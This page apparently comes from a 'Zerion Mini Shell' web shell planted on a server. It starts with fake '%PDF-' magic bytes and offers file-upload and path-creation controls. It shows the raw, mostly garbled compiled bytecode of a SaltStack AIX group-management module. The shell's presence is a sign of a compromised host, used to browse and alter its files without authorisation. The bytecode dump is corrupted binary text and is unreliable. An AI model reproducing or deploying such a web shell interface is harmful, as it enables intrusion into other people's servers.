%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/modules/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/modules/aix_group.pyo

�
���^c@@s�dZddlmZmZmZddlZeje�Zyddl	Z	Wne
k
r`nXdZd�Zdedd�Zd�Zd�Zed	�Zd
�Zdd�Zdd�Zdd
�ZdS(u
Manage groups on Solaris

.. important::
    If you feel that Salt should be using this module to manage groups on a
    minion, and it is using a different module (or gives an error similar to
    *'group.info' is not available*), see :ref:`here
    <module-provider-override>`.
i(tabsolute_importtprint_functiontunicode_literalsNugroupcC@stddkrtStdfS(u3
    Set the group module if the kernel is AIX
    ukerneluAIXuMThe aix_group execution module failed to load: only available on AIX systems.(t
__grains__t__virtualname__tFalse(((s:/usr/lib/python2.7/site-packages/salt/modules/aix_group.pyt__virtual__scC@sjd}|r%|dk	r%|d7}n|rA|dj|�7}n||7}td|dt�}|dS(ur
    Add the specified group

    CLI Example:

    .. code-block:: bash

        salt '*' group.add foo 3456
    umkgroup u-a uid={0} ucmd.run_alltpython_shelluretcodeN(tNonetformatt__salt__R(tnametgidtsystemtroottcmdtret((s:/usr/lib/python2.7/site-packages/salt/modules/aix_group.pytadd's


cC@s(tddj|�dt�}|dS(uo
    Remove the named group

    CLI Example:

    .. code-block:: bash

        salt '*' group.delete foo
    ucmd.run_allurmgroup {0}Ruretcode(R
R	R(RR((s:/usr/lib/python2.7/site-packages/salt/modules/aix_group.pytdelete?s
cC@sXytj|�}Wntk
r'iSXi|jd6|jd6|jd6|jd6SdS(uw
    Return information about a group

    CLI Example:

    .. code-block:: bash

        salt '*' group.info foo
    unameupasswdugidumembersN(tgrptgetgrnamtKeyErrortgr_namet	gr_passwdtgr_gidtgr_mem(Rtgrinfo((s:/usr/lib/python2.7/site-packages/salt/modules/aix_group.pytinfoNs




cC@s\dtkr|rtdSg}x*tj�D]}|jt|j��q.W|td<|S(un
    Return info on all groups

    CLI Example:

    .. code-block:: bash

        salt '*' group.getent
    ugroup.getent(t__context__RtgetgralltappendRR(trefreshRR((s:/usr/lib/python2.7/site-packages/salt/modules/aix_group.pytgetentcs

cC@sptd|�}||kr tSdj||�}td|dt�td|�}||krl||kStS(u}
    Change the gid for a named group

    CLI Example:

    .. code-block:: bash

        salt '*' group.chgid foo 4376
    ufile.group_to_giduchgroup id={0} {1}ucmd.runR(R
tTrueR	R(RRtpre_gidRtpost_gid((s:/usr/lib/python2.7/site-packages/salt/modules/aix_group.pytchgidxs

cC@s-dj||�}td|dt�}|S(u�
    Add a user in the group.

    CLI Example:

    .. code-block:: bash

         salt '*' group.adduser foo bar

    Verifies if a valid username 'bar' as a member of an existing group 'foo',
    if not then adds it.
    uchgrpmem -m + {0} {1}ucmd.retcodeR(R	R
R(RtusernameRRtretcode((s:/usr/lib/python2.7/site-packages/salt/modules/aix_group.pytadduser�s
cC@srtd|�}yI||dkrTdj||�}td|dt�}|dStSWntk
rmtSXdS(u�
    Remove a user from the group.

    CLI Example:

    .. code-block:: bash

         salt '*' group.deluser foo bar

    Removes a member user 'bar' from a group 'foo'. If group is not present
    then returns True.
    u
group.infoumembersuchgrpmem -m - {0} {1}ucmd.runRuretcodeN(R
R	RR!t	Exception(RR%Rtgrp_infoRR((s:/usr/lib/python2.7/site-packages/salt/modules/aix_group.pytdeluser�s
	
cC@s-dj||�}td|dt�}|S(u�
    Replaces members of the group with a provided list.

    CLI Example:

        salt '*' group.members foo 'user1,user2,user3,...'

    Replaces a membership list for a local group 'foo'.
        foo:x:1234:user1,user2,user3,...
    uchgrpmem -m = {0} {1}ucmd.retcodeR(R	R
R(Rtmembers_listRRR&((s:/usr/lib/python2.7/site-packages/salt/modules/aix_group.pytmembers�s(t__doc__t
__future__RRRtloggingt	getLoggert__name__tlogRtImportErrorRRRRRRRR R$R'R*R,(((s:/usr/lib/python2.7/site-packages/salt/modules/aix_group.pyt<module>
s"
	
			

Zerion Mini Shell 1.0